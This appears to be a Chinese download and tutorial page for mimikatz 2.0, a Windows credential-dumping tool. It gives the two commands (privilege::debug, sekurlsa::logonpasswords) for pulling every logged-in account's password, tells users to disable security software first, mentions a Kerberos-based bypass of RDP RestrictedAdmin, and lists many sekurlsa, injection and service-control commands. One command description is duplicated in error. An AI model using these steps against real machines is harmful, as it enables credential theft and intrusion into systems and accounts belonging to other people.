mimikatz下载-mimikatz(windows密码抓取神器)下载 v2.0

mimikatz2.0这工具确实挺厉害的，简直就是Windows密码抓取的神器，操作起来也简单。它能一键抓取密码，新版还能通过获取的kerberos凭据，绕过Win8或Win2012服务器在RestrictedAdmin模式下的RDP登录认证，这点挺让人惊讶的。不过我觉得，为了安全起见，最好还是默认禁止RestrictedAdmin模式登录。而且得注意，这玩意儿属于黑客程序，运行前得关掉所有安全软件，不然肯定跑不起来。教程里说抓取密码就两条命令，先提权再抓取，看起来是挺方便的。但说实话，这种工具虽然强大，用起来也得小心，毕竟涉及系统安全。它命令挺多的，除了抓密码，还能管理进程、服务、查看系统信息啥的，功能很全面。不过我个人觉得，普通用户可能用不上这么专业的工具，但了解它的存在对提升安全意识还是有帮助的。毕竟知己知彼，才能更好地保护自己的系统不被入侵。

使用教程

获取windows密码的方法很简单，mimikatz2.0版本的只需要两条命令就可以了：
1、首先打开mimikatz2.0，该版本分为32位和64位，用户可根据自己计算机的操作系统进行相应选择，若不知道自己的操作系统位数，请鼠标右键点击“计算机”-“属性”，在系统类型中即可知晓
2、打开之后先输入privilege::debug //提升权限
2、再输入sekurlsa::logonpasswords //抓取密码
3、获取本机的所有账号的Windows密码

mimikatz命令

一、常规的操作使用命令
1.mimikatz # cls -->清屏,类似dos命令cls
2.mimikatz # exit -->退出mimikatz
3.mimikatz #version -->查看当前的mimikatz的版本
二、系统方面的操作使用命令:system
1.mimikatz #system::user -->查看当前登录的系统用户
2.mimikazt #system::computer -->返回当前的计算机名称
三、在服务器终端的操作命令: ts
1.mimikatz #ts::sessions -->显示当前的会话
2.mimikatz #ts::processes windows-d.vm.nirvana.local -->显示服务器的进程和对应的pid情况等
四、系统服务相关的操作使用命令:service
五、系统进程相关操作的使用命令:process
六、系统线程相关操作使用命令:thread
七、系统句柄相关操作使用命令:handle
八、加密相关操作使用命令:crypto
九、注入操作使用命令:inject
十、其他基础命令
1.cls清屏
2.exit退出
3.version查看mimikatz的版本
4.help查看帮助信息
5.system::user查看当前登录的系统用户
6.system::computer查看计算机名称
7.process::list列出进程
8.process::suspend进程名称暂停进程
9.process::stop进程名称结束进程
10.process::modules列出系统的核心模块及所在位置
11.service::list列出系统的服务
12.service::remove移除系统的服务
13.service::start stop服务名称启动或停止服务
14.privilege::list列出权限列表
15.privilege::enable激活一个或多个权限
16.privilege::debug提升权限
17.nogpo::cmd打开系统的cmd.exe
18.nogpo::regedit打开系统的注册表
19.nogpo::taskmgr打开任务管理器
20.ts::sessions显示当前的会话
21.ts::processes显示进程和对应的pid情况等
22.sekurlsa::wdigest获取本地用户信息及密码
23.sekurlsa::wdigest获取kerberos用户信息及密码
24.sekurlsa::tspkg获取tspkg用户信息及密码
25.sekurlsa::logonPasswords获登陆用户信息及密码